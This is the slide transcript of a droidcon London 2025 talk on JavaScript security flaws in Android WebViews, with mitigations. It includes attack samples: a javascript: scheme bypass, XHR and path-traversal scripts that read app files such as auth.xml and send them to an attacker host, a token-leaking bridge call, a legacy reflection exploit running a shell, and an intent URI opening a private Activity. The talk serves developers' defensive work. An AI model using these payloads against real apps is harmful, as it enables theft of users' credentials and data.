Share
Overcoming JavaScript Unsecurities in WebViews // droidcon London 2025
My presentation about the JavaScript-related security issues with WebViews in your Android apps as presented at droidcon London on October 30, 2025.
You can watch the recording of the talk here: https://youtu.be/g0B-NMwA2JM
Intro
In my previous talk with a similar title from last year, I briefly discussed running JavaScript in Android WebViews, stating that it could be a talk of its own. Since then, multiple people have asked about this topic, so I decided to make it to further help overcome the insecurity one may feel when working with unsecured WebViews. It’s an often-cited suggestion that you should disable JavaScript to secure your WebViews, but what if you explicitly want to execute JavaScript?
The easiest way to run JavaScript on Android is to create a “headless” WebView (that is not visible). There are many traps to be aware of, including:
- Allowing remote code execution via Cross-Site Scripting (XSS)
- Unintended access to Android components
- Unintended access to files via WebResourceResponse or URI
- Leaking data through the JavaScript Bridge
I’ll describe and demonstrate such attacks and show you ways to mitigate and secure your app. You will learn the importance of fully controlling the JavaScript you execute, how to restrict access to native components, on-device data, and more.
Links
The PasswordStrengthExample sample from the demo showcasing the usage of JavascriptEngine and how it compares to WebView and a (legacy) native password strength calculation library:
https://github.com/balazsgerlei/PasswordStrengthExample
Android: Exploring vulnerabilities in WebResourceResponse
https://blog.oversecured.com/Android-Exploring-vulnerabilities-in-WebResourceResponse/#an-overview-of-the-vulnerability-in-amazon%E2%80%99s-apps
WebViewAssetLoader
https://developer.android.com/reference/androidx/webkit/WebViewAssetLoader
WebView – Native bridges
https://developer.android.com/privacy-and-security/risks/insecure-webview-native-bridges
JavascriptEngine
https://developer.android.com/jetpack/androidx/releases/javascriptengine
My SecureWebView library
https://github.com/balazsgerlei/SecureWebView
Executing JavaScript and WebAssembly with JavascriptEngine
https://developer.android.com/develop/ui/views/layout/webapps/jsengine
HackTricks - Webview Attacks
https://book.hacktricks.wiki/en/mobile-pentesting/android-app-pentesting/webview-attacks.html
Application Security Cheat Sheet - WebView Vulnerabilities
https://0xn3va.gitbook.io/cheat-sheets/android-application/webview-vulnerabilities
Balázs Gerlei
Transcript
64 slides
-
Previously on Overcoming Unsecuritites • General WebView misconfigurations • Leaving
Remote Debugging enabled • Allowing Clear Text Traffic - Network Security Config not respected before Android 8 (API 26) • Not enforcing HSTS • Not setting the Base URL and failing Same Origin Checks • Leaving file and ContentProvider access enabled • Not clearing cookies • Breakout demo (navigating away to unintended sites) @balazsgerlei, balazsgerlei.com -
Previously on Overcoming Unsecuritites @balazsgerlei, balazsgerlei.com <<Abstract>> WebViewClient + shouldInterceptRequest(
view: WebView, request: WebResourceRequest): WebResourceResponse + shouldOverrideUrlLoading: Boolean + onLoadResource: void … WebView + loadUrl(url: String): void + loadData(data: String, mimeType: String, encoding: String): void … WebChromeClient + onProgressChanged(view: WebView, newProgress: Integer): void + onReceivedTitle(view: WebView, title: String): void … WebSettings + setJavaScriptEnabled (flag: Boolean): void + setTextZoom (textZoom: Integer): void … -
Previously on Overcoming Unsecuritites @balazsgerlei, balazsgerlei.com <<Abstract>> WebViewClient + shouldInterceptRequest(
view: WebView, request: WebResourceRequest): WebResourceResponse + shouldOverrideUrlLoading: Boolean + onLoadResource: void … WebView + loadUrl(url: String): void + loadData(data: String, mimeType: String, encoding: String): void … WebChromeClient + onProgressChanged(view: WebView, newProgress: Integer): void + onReceivedTitle(view: WebView, title: String): void … WebSettings + setJavaScriptEnabled (flag: Boolean): void + setTextZoom (textZoom: Integer): void … -
Previously on Overcoming Unsecuritites • Couple of slides about JavaScript
• JavaScript rendering runs in the same process as the rest of the app before Android 8 (API 26) • Use evaluateJavascript() instead of loadUrl() • Sanitize (user) inputs (and escape JavaScript) • Restrict JavaScript bridge usage • Received most of the questions about running JavaScript @balazsgerlei, balazsgerlei.com -
My talk from droidcon London 2024 • “Overcoming Unsecurities in
WebViews” • youtu.be/fqaUJ08MQDo @balazsgerlei, balazsgerlei.com -
Headless WebView • Instantiate WebView from code • Can evaluate
JavaScript • Technically can be done with loadUrl(), but shouldn’t • Use evaluateJavascript() method val webView = WebView(activityContext) webView.evaluateJavascript( "javascript:void(alert(\"Hi!\"))" ) { result -> // handle result } @balazsgerlei, balazsgerlei.com -
Headless WebView • Instantiate WebView from code • Can evaluate
JavaScript • Technically can be done with loadUrl(), but shouldn’t • Use evaluateJavascript() method val webView = WebView(activityContext) webView.evaluateJavascript( "javascript:void(alert(\"Hi!\"))" ) { result -> // handle result } @balazsgerlei, balazsgerlei.com -
Missing Scheme Validation • URIs does not necessary point to
websites • If only the authority is validated, but not the scheme, it may be abused with a javascript scheme • E.g., instead of "https://example.com/privacy-policy" • You get "javascript://example.com/%0aalert(1)//" @balazsgerlei, balazsgerlei.com -
Missing Scheme Validation • URIs does not necessary point to
websites • If only the authority is validated, but not the scheme, it may be abused with a javascript scheme • E.g., instead of "https://example.com/privacy-policy" • You get "javascript://example.com/%0aalert(1)//" @balazsgerlei, balazsgerlei.com -
Missing Scheme Validation - Mitigations Validate both the scheme and
the authority • Only allow schemes you want to support • Preferably only https • Prefer “real-time” validation - via getUrl() • Instead of (or additionally to) validating in lifecycle callbacks • Be aware that if the URI is set via window.location.href from JavaScript, lifecycle callback methods like are bypassed • E.g., shouldOverrideUrlLoading • Only way to block is via injected JavaScript @balazsgerlei, balazsgerlei.com -
Missing Scheme Validation - Mitigations (function() { 'use strict'; var
originalLocation = window.location; var locationProps = {}; Object.defineProperty(locationProps, 'href', { set: function(uri) { if (typeof uri === 'string' && uri.toLowerCase().startsWith('javascript:')) { if (window.JavaScriptMonitor && window.JavaScriptMonitor.onJavascriptUriCalled) { window.JavaScriptMonitor.onJavascriptUriCalled(uri); } // Don't call the original setter here, effectively stopping execution } originalLocation.href = uri; }, get: function() { return originalLocation.href; }, enumerable: true, configurable: true }); window.location = locationProps; })(); @balazsgerlei, balazsgerlei.com -
Accessing Files via XMLHttpRequest • If a WebView has file
access enabled, an attacker may gain access to arbitrary files via XHR requests • If they can control the path of the returned file • Or the ability to open arbitrary links (including the file scheme) @balazsgerlei, balazsgerlei.com -
Accessing Files via XMLHttpRequest <script> var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () { if (xhr.readyState == XMLHttpRequest.DONE && xhr.status == 200) { alert(`The secret is ${xhr.responseText}`) } } xhr.open("GET", "file:///android_asset/secret.txt", true); xhr.send(); </script> @balazsgerlei, balazsgerlei.com -
Accessing Files - Mitigations • Disable file access • Disabled
by default since Android 11 (API 30) • Remember to turn off both allowFileAccess and allowUniversalAccessFromFileURLs binding.webView.settings.allowFileAccess = false binding.webView.settings.allowUniversalAccessFromFileURLs = false @balazsgerlei, balazsgerlei.com -
Accessing Files via WebResourceResponse • Using WebResourceResponse allows emulating the
server • Intercepting requests and returning arbitrary content • Status Code • Content Type • Content Encoding • Headers • Response Body @balazsgerlei, balazsgerlei.com -
Accessing Files via WebResourceResponse webView.webViewClient = object : WebViewClient() {
override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { val uri = request.url if (uri.path?.startsWith("/local_cache/") == true && uri.lastPathSegment != null) { val cacheFile = File(requireActivity().cacheDir, uri.lastPathSegment!!) if (cacheFile.exists()) { try { FileInputStream(cacheFile).use { val headers: MutableMap<String?, String?> = HashMap() headers.put("Access-Control-Allow-Origin", "*") return WebResourceResponse("text/html", "utf-8", 200, "OK", headers, it) } } catch (_: IOException) { return null } } } return super.shouldInterceptRequest(view, request) } } @balazsgerlei, balazsgerlei.com -
Accessing Files via WebResourceResponse webView.webViewClient = object : WebViewClient() {
override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { val uri = request.url if (uri.path?.startsWith("/local_cache/") == true && uri.lastPathSegment != null) { val cacheFile = File(requireActivity().cacheDir, uri.lastPathSegment!!) if (cacheFile.exists()) { try { FileInputStream(cacheFile).use { val headers: MutableMap<String?, String?> = HashMap() headers.put("Access-Control-Allow-Origin", "*") return WebResourceResponse("text/html", "utf-8", 200, "OK", headers, it) } } catch (_: IOException) { return null } } } return super.shouldInterceptRequest(view, request) } } @balazsgerlei, balazsgerlei.com -
Accessing Files via WebResourceResponse webView.webViewClient = object : WebViewClient() {
override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { val uri = request.url if (uri.path?.startsWith("/local_cache/") == true && uri.lastPathSegment != null) { val cacheFile = File(requireActivity().cacheDir, uri.lastPathSegment!!) if (cacheFile.exists()) { try { FileInputStream(cacheFile).use { val headers: MutableMap<String?, String?> = HashMap() headers.put("Access-Control-Allow-Origin", "*") return WebResourceResponse("text/html", "utf-8", 200, "OK", headers, it) } } catch (_: IOException) { return null } } } return super.shouldInterceptRequest(view, request) } } @balazsgerlei, balazsgerlei.com -
Accessing Files via WebResourceResponse webView.webViewClient = object : WebViewClient() {
override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { val uri = request.url if (uri.path?.startsWith("/local_cache/") == true && uri.lastPathSegment != null) { val cacheFile = File(requireActivity().cacheDir, uri.lastPathSegment!!) if (cacheFile.exists()) { try { FileInputStream(cacheFile).use { val headers: MutableMap<String?, String?> = HashMap() headers.put("Access-Control-Allow-Origin", "*") return WebResourceResponse("text/html", "utf-8", 200, "OK", headers, it) } } catch (_: IOException) { return null } } } return super.shouldInterceptRequest(view, request) } } @balazsgerlei, balazsgerlei.com -
Accessing Files via WebResourceResponse webView.webViewClient = object : WebViewClient() {
override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { val uri = request.url if (uri.path?.startsWith("/local_cache/") == true && uri.lastPathSegment != null) { val cacheFile = File(requireActivity().cacheDir, uri.lastPathSegment!!) if (cacheFile.exists()) { try { FileInputStream(cacheFile).use { val headers: MutableMap<String?, String?> = HashMap() headers.put("Access-Control-Allow-Origin", "*") return WebResourceResponse("text/html", "utf-8", 200, "OK", headers, it) } } catch (_: IOException) { return null } } } return super.shouldInterceptRequest(view, request) } } @balazsgerlei, balazsgerlei.com -
Accessing Files via WebResourceResponse webView.webViewClient = object : WebViewClient() {
override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { val uri = request.url if (uri.path?.startsWith("/local_cache/") == true && uri.lastPathSegment != null) { val cacheFile = File(requireActivity().cacheDir, uri.lastPathSegment!!) if (cacheFile.exists()) { try { FileInputStream(cacheFile).use { val headers: MutableMap<String?, String?> = HashMap() headers.put("Access-Control-Allow-Origin", "*") return WebResourceResponse("text/html", "utf-8", 200, "OK", headers, it) } } catch (_: IOException) { return null } } } return super.shouldInterceptRequest(view, request) } } @balazsgerlei, balazsgerlei.com -
Accessing Files via WebResourceResponse <script type="text/javascript"> function stealFile(path, callback) {
var xhr = new XMLHttpRequest(); xhr.open("GET", "https://any.domain/local_cache/..%2F" + encodeURIComponent(path), true); xhr.onload = function(e) { callback(oReq.responseText); } xhr.onerror = function(e) { callback(null); } xhr.send(); } stealFile("shared_prefs/auth.xml", function(contents) { location.href = "https://attacker-website.com/?data=" + encodeURIComponent(contents); }); </script> @balazsgerlei, balazsgerlei.com -
Accessing Files via WebResourceResponse <script type="text/javascript"> function stealFile(path, callback) {
var xhr = new XMLHttpRequest(); xhr.open("GET", "https://any.domain/local_cache/..%2F" + encodeURIComponent(path), true); xhr.onload = function(e) { callback(oReq.responseText); } xhr.onerror = function(e) { callback(null); } xhr.send(); } stealFile("shared_prefs/auth.xml", function(contents) { location.href = "https://attacker-website.com/?data=" + encodeURIComponent(contents); }); </script> @balazsgerlei, balazsgerlei.com -
Accessing Files via WebResourceResponse <script type="text/javascript"> function stealFile(path, callback) {
var xhr = new XMLHttpRequest(); xhr.open("GET", "https://any.domain/local_cache/..%2F" + encodeURIComponent(path), true); xhr.onload = function(e) { callback(oReq.responseText); } xhr.onerror = function(e) { callback(null); } xhr.send(); } stealFile("shared_prefs/auth.xml", function(contents) { location.href = "https://attacker-website.com/?data=" + encodeURIComponent(contents); }); </script> @balazsgerlei, balazsgerlei.com -
Accessing Files via WebResourceResponse <script type="text/javascript"> function stealFile(path, callback) {
var xhr = new XMLHttpRequest(); xhr.open("GET", "https://any.domain/local_cache/..%2F" + encodeURIComponent(path), true); xhr.onload = function(e) { callback(oReq.responseText); } xhr.onerror = function(e) { callback(null); } xhr.send(); } stealFile("shared_prefs/auth.xml", function(contents) { location.href = "https://attacker-website.com/?data=" + encodeURIComponent(contents); }); </script> @balazsgerlei, balazsgerlei.com -
Accessing Files via WebResourceResponse <script type="text/javascript"> function stealFile(path, callback) {
var xhr = new XMLHttpRequest(); xhr.open("GET", "https://any.domain/local_cache/..%2F" + encodeURIComponent(path), true); xhr.onload = function(e) { callback(oReq.responseText); } xhr.onerror = function(e) { callback(null); } xhr.send(); } stealFile("shared_prefs/auth.xml", function(contents) { location.href = "https://attacker-website.com/?data=" + encodeURIComponent(contents); }); </script> @balazsgerlei, balazsgerlei.com -
Accessing Files via WebResourceResponse <script type="text/javascript"> function stealFile(path, callback) {
var xhr = new XMLHttpRequest(); xhr.open("GET", "https://any.domain/local_cache/..%2F" + encodeURIComponent(path), true); xhr.onload = function(e) { callback(oReq.responseText); } xhr.onerror = function(e) { callback(null); } xhr.send(); } stealFile("shared_prefs/auth.xml", function(contents) { location.href = "https://attacker-website.com/?data=" + encodeURIComponent(contents); }); </script> @balazsgerlei, balazsgerlei.com -
Accessing Files via WebResourceResponse • Happened before: • blog.oversecured.com/Android-Exploring-vulnerabilities-in- WebResourceResponse/#an-overview-of-the-vulnerability-in-
amazon%E2%80%99s-apps @balazsgerlei, balazsgerlei.com -
Accessing Files via WebResourceResponse - Mitigations • When implementing WebResourceResponse,
use WebViewAssetLoader (from androidx.webkit) • Allows the app to safely process data from resources, assets or a predefined directory • Local files can be loaded using web-like URLs • E.g., “https://example.com/assets/image.png” • Instead of appending "file:///android_asset/image.png" • Compatible with the Same-Origin policy • developer.android.com/reference/androidx/webkit/WebView AssetLoader @balazsgerlei, balazsgerlei.com -
Accessing Files via WebResourceResponse - Mitigations val assetLoader: WebViewAssetLoader =
WebViewAssetLoader.Builder() .addPathHandler("/assets/", WebViewAssetLoader.AssetsPathHandler(requireActivity())) .build() @balazsgerlei, balazsgerlei.com -
Accessing Files via WebResourceResponse - Mitigations val assetLoader: WebViewAssetLoader =
WebViewAssetLoader.Builder() .addPathHandler("/assets/", WebViewAssetLoader.AssetsPathHandler(requireActivity())) .build() webView.webViewClient = object : WebViewClient() { override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { return assetLoader.shouldInterceptRequest(request.url) } } @balazsgerlei, balazsgerlei.com -
Accessing Files via WebResourceResponse - Mitigations val assetLoader: WebViewAssetLoader =
WebViewAssetLoader.Builder() .addPathHandler("/assets/", WebViewAssetLoader.AssetsPathHandler(requireActivity())) .build() webView.webViewClient = object : WebViewClient() { override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { return assetLoader.shouldInterceptRequest(request.url) } } @balazsgerlei, balazsgerlei.com -
Accessing Files via WebResourceResponse - Mitigations val assetLoader: WebViewAssetLoader =
WebViewAssetLoader.Builder() .addPathHandler("/assets/", WebViewAssetLoader.AssetsPathHandler(requireActivity())) .build() webView.webViewClient = object : WebViewClient() { override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { return assetLoader.shouldInterceptRequest(request.url) } } @balazsgerlei, balazsgerlei.com -
Cross-site scripting (XSS) • Inject client-side scripts into web pages
• Effects vary from petty nuisance to significant security risk • Depending on the sensitivity of the data • Exploited in Android WebView via JavaScript bridge @balazsgerlei, balazsgerlei.com -
JavaScript Bridge • The addJavascriptInterface() method injects the supplied Java
object into a WebView • Injecting into all frames of the web page, including all the iframes • The Java object’s methods can be made accessible from JavaScript • The ones annotated with @JavascriptInterface • Fields are not accessible @balazsgerlei, balazsgerlei.com -
JavaScript Bridge “there is no mechanism for the application to
verify the origin of the calling frame within the WebView, which raises security concerns as the trustworthiness of the content remains indeterminate.” developer.android.com/privacy-and-security/risks/insecure-webview-native-bridges @balazsgerlei, balazsgerlei.com -
XSS via JavaScript Bridge @balazsgerlei, balazsgerlei.com class DefaultJavaScriptInterface(val context: Context)
{ @JavascriptInterface fun getToken(): String { val preferenceFileKey = context.getString(R.string.preference_file_key) return context.getSharedPreferences( preferenceFileKey, Context.MODE_PRIVATE) .run { val tokenKey = context.getString(R.string.token_key) getString(tokenKey, "") ?: "" } } } class MainActivity : AppCompatActivity() { fun loadWebView() { binding.webView.settings.javaScriptEnabled = true binding.webView.addJavascriptInterface( DefaultJavaScriptInterface(this), "DefaultJavascriptInterface" ) } } <script> alert("Token: " + DefaultJavascriptInterface.getToken()); </script> -
XSS via JavaScript Bridge @balazsgerlei, balazsgerlei.com class DefaultJavaScriptInterface(val context: Context)
{ @JavascriptInterface fun getToken(): String { val preferenceFileKey = context.getString(R.string.preference_file_key) return context.getSharedPreferences( preferenceFileKey, Context.MODE_PRIVATE) .run { val tokenKey = context.getString(R.string.token_key) getString(tokenKey, "") ?: "" } } } class MainActivity : AppCompatActivity() { fun loadWebView() { binding.webView.settings.javaScriptEnabled = true binding.webView.addJavascriptInterface( DefaultJavaScriptInterface(this), "DefaultJavascriptInterface" ) } } <script> alert("Token: " + DefaultJavascriptInterface.getToken()); </script> -
JavaScript Bridge used to be far worse <script> function execute(cmd){
return DefaultJavascriptInterface.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke (null,null).exec(cmd); } execute(['/system/bin/sh','-c','echo \"hello\" > /mnt/sdcard/hello.txt']); </script> @balazsgerlei, balazsgerlei.com • Non-annotated methods used to be accessible before Android 4.2 (API 17) • This was exploitable via reflection -
JavaScript Bridge used to be far worse <script> function execute(cmd){
return DefaultJavascriptInterface.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke (null,null).exec(cmd); } execute(['/system/bin/sh','-c','echo \"hello\" > /mnt/sdcard/hello.txt']); </script> @balazsgerlei, balazsgerlei.com • Non-annotated methods used to be accessible before Android 4.2 (API 17) • This was exploitable via reflection -
JavaScript Bridge used to be far worse <script> function execute(cmd){
return DefaultJavascriptInterface.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke (null,null).exec(cmd); } execute(['/system/bin/sh','-c','echo \"hello\" > /mnt/sdcard/hello.txt']); </script> @balazsgerlei, balazsgerlei.com • Non-annotated methods used to be accessible before Android 4.2 (API 17) • This was exploitable via reflection -
XSS via JavaScript Bridge - Mitigations • Restrict the JavaScript
bridge to the absolute minimum • Only annotate necessary methods with @JavascriptInterface • Prefer “real-time” validation • Call getUrl() and validate the result before a sensitive operation • Instead of (or additionally to) validating in lifecycle callbacks • Assume malicious intent from caller • Especially if JavaScript comes from outside and not packaged within your app • Or only run JavaScript packaged with your app @balazsgerlei, balazsgerlei.com -
Accessing Android Components • You may want to offer launching
URLs (in a browser) via JavaScript bridge • It may be abused to launch arbitrary Android components (e.g. Activities) instead • Via an intent URI scheme and the component and selector fields @balazsgerlei, balazsgerlei.com -
Accessing Android Components binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url: String) {
val intent = Intent.parseUri(url, 0) startActivity(intent) } }, "DefaultJavascriptInterface") <script> function openurl() { DefaultJavascriptInterface.openUrl("https://example.com"); } </script> @balazsgerlei, balazsgerlei.com -
Accessing Android Components binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url: String) {
val intent = Intent.parseUri(url, 0) startActivity(intent) } }, "DefaultJavascriptInterface") <script> function openurl() { DefaultJavascriptInterface.openUrl("intent:#Intent;component=com.example.webviewjavascriptexploits/com.example.webviewja vascriptexploits.demos.SecretActivity;S.url=http%3A%2F%2Fexample.com%2F;end"); } </script> @balazsgerlei, balazsgerlei.com -
Accessing Android Components binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url: String) {
val intent = Intent.parseUri(url, 0) startActivity(intent) } }, "DefaultJavascriptInterface") <script> function openurl() { DefaultJavascriptInterface.openUrl("intent:#Intent;component=com.example.webviewjavascriptexploits/com.example.webviewja vascriptexploits.demos.SecretActivity;S.url=http%3A%2F%2Fexample.com%2F;end"); } </script> @balazsgerlei, balazsgerlei.com -
Accessing Android Components binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url: String) {
val intent = Intent.parseUri(url, 0) startActivity(intent) } }, "DefaultJavascriptInterface") <script> function openurl() { DefaultJavascriptInterface.openUrl("intent:#Intent;component=com.example.webviewjavascriptexploits/com.example.webviewja vascriptexploits.demos.SecretActivity;S.url=http%3A%2F%2Fexample.com%2F;end"); } </script> @balazsgerlei, balazsgerlei.com -
Accessing Android Components binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url: String) {
val intent = Intent.parseUri(url, 0) startActivity(intent) } }, "DefaultJavascriptInterface") <script> function openurl() { DefaultJavascriptInterface.openUrl("intent:#Intent;component=com.example.webviewjavascriptexploits/com.example.webviewja vascriptexploits.demos.SecretActivity;S.url=http%3A%2F%2Fexample.com%2F;end"); } </script> @balazsgerlei, balazsgerlei.com -
Accessing Android Components binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url: String) {
val intent = Intent.parseUri(url, 0) startActivity(intent) } }, "DefaultJavascriptInterface") <script> function openurl() { DefaultJavascriptInterface.openUrl("intent:#Intent;component=com.example.webviewjavascriptexploits/com.example.webviewja vascriptexploits.demos.SecretActivity;S.url=http%3A%2F%2Fexample.com%2F;end"); } </script> @balazsgerlei, balazsgerlei.com -
Accessing Android Components - Mitigations binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url:
String) { val intent = Intent.parseUri(url, 0) startActivity(intent) } }, "DefaultJavascriptInterface") @balazsgerlei, balazsgerlei.com -
Accessing Android Components - Mitigations binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url:
String) { val intent = Intent.parseUri(url, 0) intent.addCategory(Intent.CATEGORY_BROWSABLE) intent.component = null intent.selector = null startActivity(intent) } }, "DefaultJavascriptInterface") @balazsgerlei, balazsgerlei.com -
Accessing Android Components - Mitigations binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url:
String) { val intent = Intent.parseUri(url, 0) intent.addCategory(Intent.CATEGORY_BROWSABLE) intent.component = null intent.selector = null startActivity(intent) } }, "DefaultJavascriptInterface") @balazsgerlei, balazsgerlei.com -
Accessing Android Components - Mitigations binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url:
String) { val intent = Intent.parseUri(url, 0) intent.addCategory(Intent.CATEGORY_BROWSABLE) intent.component = null intent.selector = null val activityInfo = intent.resolveActivityInfo( requireActivity().packageManager, PackageManager.MATCH_DEFAULT_ONLY) if (activityInfo.exported) { startActivity(intent) } } }, "DefaultJavascriptInterface") @balazsgerlei, balazsgerlei.com -
Accessing Android Components - Mitigations binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url:
String) { val intent = Intent.parseUri(url, 0) intent.addCategory(Intent.CATEGORY_BROWSABLE) intent.component = null intent.selector = null val activityInfo = intent.resolveActivityInfo( requireActivity().packageManager, PackageManager.MATCH_DEFAULT_ONLY) if (activityInfo.exported) { startActivity(intent) } } }, "DefaultJavascriptInterface") @balazsgerlei, balazsgerlei.com -
Accessing Android Components - Mitigations binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url:
String) { val intent = Intent.parseUri(url, 0) startActivity(intent) } }, "DefaultJavascriptInterface") @balazsgerlei, balazsgerlei.com -
Accessing Android Components - Mitigations binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url:
String) { val intent = Intent(Intent.ACTION_VIEW, url.toUri()) startActivity(intent) } }, "DefaultJavascriptInterface") @balazsgerlei, balazsgerlei.com -
Accessing Android Components - Mitigations binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url:
String) { val intent = Intent(Intent.ACTION_VIEW, url.toUri()) startActivity(intent) } }, "DefaultJavascriptInterface") @balazsgerlei, balazsgerlei.com -
Accessing Android Components - Mitigations • Think through the functionality
you want to provide • Use the constructor of Intent • Explicitly set component and selector to null • Check exported status of the component before calling @balazsgerlei, balazsgerlei.com -
Finally, JavascriptEngine • Jetpack JavascriptEngine library has gone stable! •
developer.android.com/jetpack/androidx/releases/javascriptengine • Multiple isolated environments with (relatively) low overhead • Asynchronous, based on ListenableFuture • Still uses WebView behind the scenes (need to be installed) • Can be used in a Service (doesn’t require an Activity) • Available from Android 8 (API 26) • Cannot make network requests! @balazsgerlei, balazsgerlei.com -
Takeaways • Think twice before using WebView :) • More
modern technologies are generally available • Try JavascriptEngine for JavaScript evaluation • If no network access needed • Package scripts with the app (or load from trusted sources) • Restrict JavaScript bridge • Think through edge cases (do Threat Modelling!) • Remember that http(s) is not the only URI scheme • Use “real-time” access control on the Main Thread - via getUrl() @balazsgerlei, balazsgerlei.com -
Thank you! • speakerdeck.com/balazsgerlei • My SecureWebView library • github.com/balazsgerlei/SecureWebView
• Executing JavaScript and WebAssembly with JavascriptEngine • developer.android.com/develop/ui/views/layout/webapps/jsengine • HackTricks - Webview Attacks • book.hacktricks.wiki/en/mobile-pentesting/android-app- pentesting/webview-attacks.html • Application Security Cheat Sheet - WebView Vulnerabilities • 0xn3va.gitbook.io/cheat-sheets/android-application/webview- vulnerabilities @balazsgerlei, balazsgerlei.com